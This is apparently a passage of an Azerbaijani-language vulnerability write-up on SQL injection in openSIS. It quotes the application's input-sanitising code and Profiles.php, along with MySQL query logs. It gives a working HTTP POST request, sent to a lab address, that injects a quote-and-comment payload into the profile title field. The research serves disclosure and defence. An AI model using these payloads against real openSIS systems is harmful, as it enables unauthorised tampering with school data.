2024-05-02T17:39:02.393434Z 2208 Query UPDATE staff_certification SET STAFF_CERTIFICATION_NAME='AAAA2',STAFF_CERTIFICATION_DATE='-05' WHERE STAFF_CERTIFICATION_ID='1' 2024-05-02T17:39:02.394323Z 2208 Query UPDATE staff_certification SET STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, STAFF_CERTIFICATION_DATE='2024-05-01', STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31' WHERE STAFF_CERTIFICATION_ID='4'
Cəmi 15 UPDATE
sorğusu var. Uzaqlığı {n}'#
istifadə edərək asanlıqla nümayiş etdirmək olar:
month_values[15'#][STAFF_CERTIFICATION_DATE] 2024-05-02T17:41:05.612987Z 2253 Query UPDATE staff_certification SET STAFF_CERTIFICATION_DATE='-05' WHERE STAFF_CERTIFICATION_ID='15'#'
Parametrlərin doğrulanması
openSIS-də parametrlərin doğrulanması üçün clean_param
funksiyası var. clean_param
funksiyası kodda bir çox dəfə çağırılır, biz PARAM_NOTAGS
və PARAM_ALPHA
-ya baxacağıq.
case PARAM_NOTAGS: // Bütün tagları sil $param = strip_tags($param); $param = str_replace('>', '', $param); return str_replace('<', '', $param); case PARAM_ALPHA: // A-dan Z-yə qədər olmayan hər şeyi sil return par_rep('/[^a-zA-Z#&]/i', '', $param); // return replace_croatain($param);
PARAM_NOTAGS
kodu XSS-in qarşısını almaq üçün yaxşıdır. Amma mən onu istifadə etməzdim, çünki istifadəçiyə başlıqda taglar lazım ola bilər, bu halda HTML kodlaşdırması daha yaxşı olardı. PARAM_ALPHA
giriş parametri $param
ı təmizləyir, standart hərflər, #
və ya &
olmayan bütün simvolları silir. Mən bu halların modules/users/Profiles.php
faylının 114–128-ci sətirlərində istifadə edildiyini gördüm:
if (clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) && AllowEdit()) { // $id = DBGet(DBQuery('SHOW TABLE STATUS LIKE '' . 'user_profiles' . ''')); // $id[1]['ID'] = $id[1]['AUTO_INCREMENT']; // $id = $id[1]['ID']; $exceptions_RET = array(); $_REQUEST['new_profile_title'] = str_replace("'", "''", $_REQUEST['new_profile_title']); DBQuery('INSERT INTO user_profiles (TITLE,PROFILE) values('' . clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) . '','' . clean_param($_REQUEST['new_profile_type'], PARAM_ALPHA) . '')'); $_REQUEST['profile_id'] = mysqli_insert_id($connection); $xprofile = $_REQUEST['new_profile_type']; unset($_REQUEST['new_profile_title']); unset($_REQUEST['new_profile_type']); unset($_SESSION['_REQUEST_vars']['new_profile_title']); unset($_SESSION['_REQUEST_vars']['new_profile_type']); }
new_profile_type
parametrinin PARAM_ALPHA
ilə doğrulanması SQL inyeksiyalarının qarşısını alır, çünki dırnaq işarələrini istifadə etməyi qadağan edir. Amma PARAM_NOTAGS
yalnız XSS üçün nəzərdə tutulub.
Aşağıdakı sorğu zəifliyi tətikləyir:
POST /openSIS/Modules.php?modname=users/Profiles.php&modfunc=update&profile_id= HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr Connection: close new_profile_title=aaaa')#&new_profile_type=admin
SQL sorğusu:
2024-05-02T18:07:23.304858Z 2292 Query INSERT INTO user_profiles (TITLE,PROFILE) values('aaaa'')#','admin')
Nəticələr
Beləliklə, biz SQL inyeksiyaları üçün geniş imkanlar tapdıq. Bəzilərini istismar etmək mümkün deyil, digərlərində təhlükəsizlik tədbirləri özləri inyeksiyaya səbəb olurdu, üçüncülərdə inyeksiya təsadüfən qarşısı alınırdı.
İstismar edilə bilməyən hallar—SQL inyeksiyasının olduğu, amma ondan heç nə əldə edə bilmədiyin, yalnız bəzi məlumatlarla manipulyasiya etdiyin hallardır. Amma hətta bu hallar da bəzən zəiflik hesab edilir, çünki onlar daxil edilən və saxlanılan məlumatların bütövlüyünə təhlükə yaradır (CVSS ~ 2,7 AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).
Və ən yaxşısını sona saxladım: tətbiqdə kvadrat mötərizələrdə olan dəyərlərin istifadə edildiyi hər yerdə SQL inyeksiyası imkanı var. Və onlar bütün tətbiq boyu istifadə edilir.